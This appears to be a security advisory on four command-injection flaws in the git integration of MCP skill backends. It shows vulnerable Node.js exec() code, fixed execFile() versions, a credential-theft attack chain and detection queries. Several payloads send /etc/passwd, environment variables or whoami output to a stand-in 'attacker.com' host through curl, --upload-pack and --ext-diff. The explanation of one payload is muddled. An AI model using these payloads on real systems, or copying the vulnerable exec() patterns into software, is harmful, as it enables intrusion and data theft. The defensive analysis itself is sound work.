SA-SKL-INJECTION22 — Code Injection
Code injection in MCP skill git repository analysis and version control integration
MCP skills that perform git operations — cloning repositories, reading commit logs, creating tags, and diffing refs — commonly build shell commands by interpolating user-supplied strings directly into template literals passed to exec(). Git's rich flag surface means that an attacker-controlled argument can inject not just arbitrary shell commands but also git-specific flags such as --upload-pack and --ext-diff that instruct git itself to execute attacker-controlled programs. SA-SKL-INJECTION22 documents four such vulnerabilities across the git integration layer of a typical MCP skill registry backend.
exec(`git clone ${repoUrl}`) with user-supplied repoUrl; --upload-pack=curl${IFS}attacker.com injects git flag achieving SSRF via git's upload-pack mechanism.
exec(`git log --format=${logFormat}`) with user-supplied logFormat; %x41; curl attacker.com/$(cat /etc/passwd | base64) executes arbitrary shell command via git format string.
exec(`git tag -a ${tagName} -m ${tagMsg}`) with submission metadata; tagMsg with ; git config --global persists attacker git config globally.
exec(`git diff ${baseRef}..${headRef}`) with webhook refs; --ext-diff=curl${IFS}attacker.com --no-index in baseRef achieves SSRF via git's external diff driver.
INJECTION22-001 — git clone --upload-pack flag injection achieves SSRF
The skill's repository analysis feature clones user-supplied repository URLs to perform static analysis. The repoUrl parameter is taken from MCP tool call arguments and interpolated directly into a template literal passed to Node.js exec(). Because exec() passes the full string to /bin/sh -c, any shell metacharacter or flag embedded in repoUrl is parsed by the shell before git receives it. Git's --upload-pack flag is particularly dangerous: it tells git which program to run as the upload-pack server on the remote side, effectively letting an attacker substitute an arbitrary command for the git protocol handler.
An attacker supplies a repoUrl value of --upload-pack=curl${IFS}attacker.com/exfil --no-local .. The shell expands ${IFS} to a space, so git receives --upload-pack=curl attacker.com/exfil as a flag, causing git to execute curl attacker.com/exfil as the upload-pack subprocess. This results in an outbound HTTP request from the server — a classic SSRF that can be escalated by pointing the curl target at internal metadata endpoints or used to exfiltrate environment variables in the URL path.
// VULNERABLE — INJECTION22-001
// Repository analysis: user-supplied repoUrl interpolated into exec() shell string
const { exec } = require('child_process');
const util = require('util');
const execAsync = util.promisify(exec);
async function cloneRepository(repoUrl, destDir) {
// repoUrl from MCP tool call — attacker controls entire string
const cmd = `git clone ${repoUrl} ${destDir}`;
// exec() passes cmd to /bin/sh -c — shell parses flags and metacharacters
const { stdout, stderr } = await execAsync(cmd, { timeout: 30000 });
return { stdout, stderr };
}
// Attacker call:
// cloneRepository(
// "--upload-pack=curl${IFS}attacker.com/$(env|base64) --no-local .",
// "/tmp/analysis-abc"
// )
// Shell expands to: git clone --upload-pack=curl attacker.com/... --no-local . /tmp/analysis-abc
// git runs curl as upload-pack subprocess => SSRF + env exfiltration
Fix for INJECTION22-001: Replace exec() with execFile() and pass arguments as an array — this bypasses /bin/sh entirely so no shell metacharacter expansion occurs. Prepend -- to the argument list after git subcommand flags to terminate option parsing, so that any leading ---prefixed value in repoUrl is treated as a positional argument rather than a flag. Additionally validate that repoUrl matches an allowlist of URL schemes (https://, git://, ssh://) and that it does not contain the substring --upload-pack. Run git operations in a network-isolated sandbox (no outbound access) where possible.
// FIXED — INJECTION22-001
const { execFile } = require('child_process');
const util = require('util');
const execFileAsync = util.promisify(execFile);
const ALLOWED_SCHEMES = /^(https?|git|ssh):\/\//i;
function validateRepoUrl(repoUrl) {
if (!ALLOWED_SCHEMES.test(repoUrl)) {
throw new Error(`Disallowed URL scheme in repoUrl: ${repoUrl}`);
}
if (/--upload-pack/i.test(repoUrl)) {
throw new Error('Forbidden flag --upload-pack in repoUrl');
}
return repoUrl;
}
async function cloneRepository(repoUrl, destDir) {
const validatedUrl = validateRepoUrl(repoUrl);
// execFile bypasses shell — args array prevents flag injection
// '--' terminates option parsing: repoUrl cannot be treated as a flag
const { stdout, stderr } = await execFileAsync(
'git',
['clone', '--', validatedUrl, destDir],
{ timeout: 30000 }
);
return { stdout, stderr };
}
INJECTION22-002 — git log format string injection executes shell commands
The skill allows callers to specify a custom git log format string via the logFormat parameter, enabling flexible commit history retrieval. The format is interpolated into a shell command string passed to exec(). Git's --format option accepts format specifiers like %s (subject) and %H (commit hash), but it also accepts %x41-style hex escapes that emit arbitrary byte sequences. When these sequences include shell metacharacters and the output is subsequently processed by another shell invocation, secondary injection occurs.
An attacker supplies logFormat as %x41; curl attacker.com/$(cat /etc/passwd | base64). The shell first splits on the semicolon (injected by %x41 being interpreted as A — but more directly: the semicolon in the format string itself is a shell metacharacter). After git writes the formatted output, the shell's command substitution $(cat /etc/passwd | base64) executes in the same shell context, base64-encodes the passwd file, and sends it in the URL to the attacker's server. This achieves arbitrary command execution and local file read in one payload.
// VULNERABLE — INJECTION22-002
// git log: user-supplied logFormat interpolated into exec() shell string
const { exec } = require('child_process');
const util = require('util');
const execAsync = util.promisify(exec);
async function getCommitLog(repoPath, logFormat, maxCount = 20) {
// logFormat from MCP tool call — attacker injects shell metacharacters
const cmd = `git -C ${repoPath} log --format=${logFormat} -n ${maxCount}`;
// exec passes to /bin/sh -c — semicolons and $() in logFormat execute
const { stdout } = await execAsync(cmd, { cwd: repoPath, timeout: 10000 });
return stdout.trim().split('\n');
}
// Attacker call:
// getCommitLog("/repos/target", "%H; curl attacker.com/$(cat /etc/passwd|base64)")
// Shell sees: git ... --format=%H; curl attacker.com/$(...)
// Executes curl with base64-encoded /etc/passwd in URL path
Fix for INJECTION22-002: Switch to execFile() with an argument array so the shell never parses logFormat. Even with execFile(), validate logFormat against an allowlist of known-safe git format tokens (e.g., %H, %h, %s, %an, %ae, %ai, %cn, %ce, %ci, %d, separator literals like | and newline escapes %n). Reject any logFormat containing %x hex escapes, shell metacharacters (;, &, |, $, `), or parentheses. Use a strict regex allowlist rather than a denylist.
// FIXED — INJECTION22-002
const { execFile } = require('child_process');
const util = require('util');
const execFileAsync = util.promisify(execFile);
// Allowlist: only known-safe git format tokens and literal separators
const SAFE_FORMAT_RE = /^[%HhsanAeEicdtDbrRpPfbBN|,. \-_\n]+$/;
const SAFE_FORMAT_TOKENS = /^(%[HhsaAneEicdtDbrRpPfbBN]|[|,. \-_\n])*$/;
function validateLogFormat(fmt) {
if (!SAFE_FORMAT_TOKENS.test(fmt)) {
throw new Error(`logFormat contains disallowed tokens: ${fmt}`);
}
return fmt;
}
async function getCommitLog(repoPath, logFormat, maxCount = 20) {
const validatedFormat = validateLogFormat(logFormat);
// execFile — no shell, format is a literal argument to git
const { stdout } = await execFileAsync(
'git',
['-C', repoPath, 'log', `--format=${validatedFormat}`, '-n', String(maxCount)],
{ timeout: 10000 }
);
return stdout.trim().split('\n').filter(Boolean);
}
INJECTION22-003 — git tag -m flag injection persists attacker git config globally
The skill's submission processing pipeline creates annotated git tags to mark reviewed skill versions. The tag name and tag message are derived from submission metadata fields populated by the submitting user: tagName comes from the submission version string and tagMsg from the submission description field. Both are interpolated into a single shell command string passed to exec() without quoting or escaping. Because the tag message is provided via the -m flag without shell-quoting, semicolons in the message terminate the git command and begin a new shell command.
An attacker submits a skill with the description field set to v1.0 release; git config --global user.email attacker@attacker.com. The resulting shell command becomes git tag -a v1.0-skill-abc -m v1.0 release; git config --global user.email attacker@attacker.com. The shell executes both commands: the git tag is created normally, and then git config --global modifies the global git configuration file (~/.gitconfig) on the server, changing the committer email for all subsequent git operations performed by the server process. This can poison commit attribution for all future automated commits made by the skill registry.
// VULNERABLE — INJECTION22-003
// Tag creation: tagName and tagMsg from submission metadata
const { exec } = require('child_process');
const util = require('util');
const execAsync = util.promisify(exec);
async function tagSubmission(repoPath, tagName, tagMsg) {
// tagName and tagMsg from user-submitted skill metadata — no escaping
const cmd = `git -C ${repoPath} tag -a ${tagName} -m ${tagMsg}`;
// Semicolons in tagMsg terminate git command and inject new shell commands
// Attacker tagMsg: "v1.0; git config --global user.email attacker@evil.com"
const { stdout, stderr } = await execAsync(cmd, { timeout: 10000 });
return { stdout, stderr };
}
// Shell sees:
// git -C /repos/x tag -a v1.0-abc -m v1.0
// git config --global user.email attacker@evil.com
// Both commands execute; global git config is poisoned
Fix for INJECTION22-003: Switch to execFile() with an argument array — this eliminates shell parsing entirely. For the tag message, write the message to a temporary file and pass it via -F <tmpfile> rather than using -m with an inline string; this avoids any risk of the message being parsed as a flag or metacharacter even with future changes. Validate tagName against a strict regex allowing only alphanumeric characters, hyphens, dots, and underscores (/^[a-zA-Z0-9._-]+$/). Pass -C /path as separate array elements, never via string interpolation.
// FIXED — INJECTION22-003
const { execFile } = require('child_process');
const fs = require('fs/promises');
const path = require('path');
const os = require('os');
const util = require('util');
const execFileAsync = util.promisify(execFile);
const SAFE_TAG_NAME_RE = /^[a-zA-Z0-9._-]+$/;
async function tagSubmission(repoPath, tagName, tagMsg) {
if (!SAFE_TAG_NAME_RE.test(tagName)) {
throw new Error(`Invalid tagName: ${tagName}`);
}
// Write tag message to tmp file — avoids -m flag parsing
const tmpFile = path.join(os.tmpdir(), `tagmsg-${Date.now()}.txt`);
try {
await fs.writeFile(tmpFile, tagMsg, 'utf8');
// execFile — no shell, all args are literal array elements
const { stdout, stderr } = await execFileAsync(
'git',
['-C', repoPath, 'tag', '-a', tagName, '-F', tmpFile],
{ timeout: 10000 }
);
return { stdout, stderr };
} finally {
await fs.unlink(tmpFile).catch(() => {});
}
}
INJECTION22-004 — git diff --ext-diff flag injection achieves SSRF
The skill's CI integration receives webhook payloads containing baseRef and headRef values representing commit SHAs or branch names to diff. These values are taken directly from the webhook JSON body and interpolated into a git diff command string passed to exec(). Git's --ext-diff flag causes git to invoke an external program as the diff driver for each changed file, passing the old and new file paths as arguments. This flag can be injected via the baseRef parameter because it appears first in the command and is separated from the .. range syntax by a space in the shell.
An attacker sends a webhook with baseRef set to --ext-diff=curl${IFS}attacker.com/$(whoami|base64) --no-index. The shell expands ${IFS} to a space, so git receives --ext-diff=curl attacker.com/... as a flag and executes curl for each file in the diff, sending the output of whoami base64-encoded in the URL. With a modified payload, the attacker can exfiltrate file contents, environment variables, or IAM credentials from the server. The --no-index flag additionally bypasses the requirement for a git repository, expanding the attack surface.
// VULNERABLE — INJECTION22-004
// Diff computation: baseRef and headRef from webhook payload
const { exec } = require('child_process');
const util = require('util');
const execAsync = util.promisify(exec);
async function computeDiff(repoPath, baseRef, headRef) {
// baseRef and headRef from webhook JSON — attacker controls both
const cmd = `git -C ${repoPath} diff ${baseRef}..${headRef}`;
// exec passes to /bin/sh — IFS expansion and flag injection via baseRef
// Attacker baseRef: "--ext-diff=curl${IFS}attacker.com/$(whoami|base64) --no-index"
const { stdout } = await execAsync(cmd, { timeout: 15000 });
return stdout;
}
// Shell sees:
// git -C /repo diff --ext-diff=curl attacker.com/... --no-index..headRef
// git runs curl for each changed file => SSRF + data exfiltration
Fix for INJECTION22-004: Switch to execFile() with an argument array and validate both baseRef and headRef as SHA-1 hex strings only (/^[0-9a-f]{40}$/) before passing them to git. Accepting only full 40-character SHA-1 hashes eliminates branch names (which could be crafted to look like flags) and ensures the value is a fixed-length hex string that cannot contain spaces, dashes, or shell metacharacters. If branch names or short SHAs must be accepted, resolve them to full SHAs via git rev-parse (itself called with execFile()) and use the resolved SHA for the diff call.
// FIXED — INJECTION22-004
const { execFile } = require('child_process');
const util = require('util');
const execFileAsync = util.promisify(execFile);
// Only accept full 40-char SHA-1 hex — no branch names, no flags
const SHA1_RE = /^[0-9a-f]{40}$/i;
function validateRef(ref, name) {
if (!SHA1_RE.test(ref)) {
throw new Error(`${name} must be a full 40-character SHA-1 hex: ${ref}`);
}
return ref.toLowerCase();
}
async function computeDiff(repoPath, baseRef, headRef) {
const base = validateRef(baseRef, 'baseRef');
const head = validateRef(headRef, 'headRef');
// execFile — no shell, refs are validated hex strings
const { stdout } = await execFileAsync(
'git',
['-C', repoPath, 'diff', `${base}..${head}`],
{ timeout: 15000 }
);
return stdout;
}
Compound attack chain
These four injection vulnerabilities chain into a progressive privilege escalation and exfiltration sequence. An attacker starts with INJECTION22-002 (git log format string) using a carefully crafted format token to probe whether the server has outbound network access — format output piped to a subsequent shell stage can silently succeed even if no data appears in the response. With confirmed outbound access, INJECTION22-001 (git clone upload-pack) is used to issue a full SSRF request to the internal AWS metadata endpoint, retrieving session credentials that arrive server-side. INJECTION22-004 (git diff ext-diff) then exfiltrates the credential file by running curl as the external diff driver for a known configuration file path. Finally, INJECTION22-003 (git tag message) is used to poison the global git configuration with the attacker's signing key or email, ensuring that all subsequent automated commits made by the skill registry process are attributed to the attacker — creating a persistent backdoor in the commit history that may persist even after the SSRF vulnerability is patched.
Detection with SkillAudit tree-sitter queries
; SA-SKL-INJECTION22 Query 1 — Detect user input interpolated into exec() shell string
; Matches template literals passed to exec() containing identifier references
; that originate from function parameters (potential user-supplied values)
(call_expression
function: (identifier) @fn (#match? @fn "^exec(Sync)?$")
arguments: (arguments
(template_string
(template_substitution
(identifier) @injected_var
)
)
)
) @shell_injection
; SA-SKL-INJECTION22 Query 2 — Detect git subcommands built with string interpolation
; Specifically targets clone, log --format, tag -m, and diff with interpolated refs
(call_expression
function: (identifier) @fn (#match? @fn "^exec(File)?(Sync)?$")
arguments: (arguments
[
(template_string) @tmpl
(binary_expression operator: "+" left: (string) @git_prefix
(#match? @git_prefix "^\"git (clone|log|tag|diff)")
)
]
)
) @git_injection
Summary
| ID | Severity | Endpoint / Function | Root Cause | Fix |
|---|---|---|---|---|
| INJECTION22-001 | Critical | cloneRepository() — repoUrl |
exec() with interpolated repoUrl; --upload-pack flag injection causes git to run attacker-controlled subprocess, achieving SSRF |
execFile() + arg array + -- end-of-options + scheme allowlist + reject --upload-pack |
| INJECTION22-002 | High | getCommitLog() — logFormat |
exec() with interpolated logFormat; shell metacharacters in format string execute arbitrary commands including $() substitution |
execFile() + format token allowlist regex; reject %x hex escapes and shell metacharacters |
| INJECTION22-003 | High | tagSubmission() — tagMsg |
exec() with unquoted -m tagMsg; semicolons in message inject second shell command, persisting attacker git config globally |
execFile() + write message to tmp file + pass via -F flag; validate tagName as alphanumeric only |
| INJECTION22-004 | High | computeDiff() — baseRef |
exec() with interpolated baseRef; --ext-diff flag injection causes git to run attacker-controlled external diff driver, achieving SSRF |
execFile() + validate baseRef/headRef as 40-char SHA-1 hex only; resolve branch names to SHAs before use |
Run a free SkillAudit scan on any public MCP skill repository at skillaudit.dev. Reports include code injection checks alongside SSRF, CORS misconfiguration, privilege escalation, and 40+ other categories.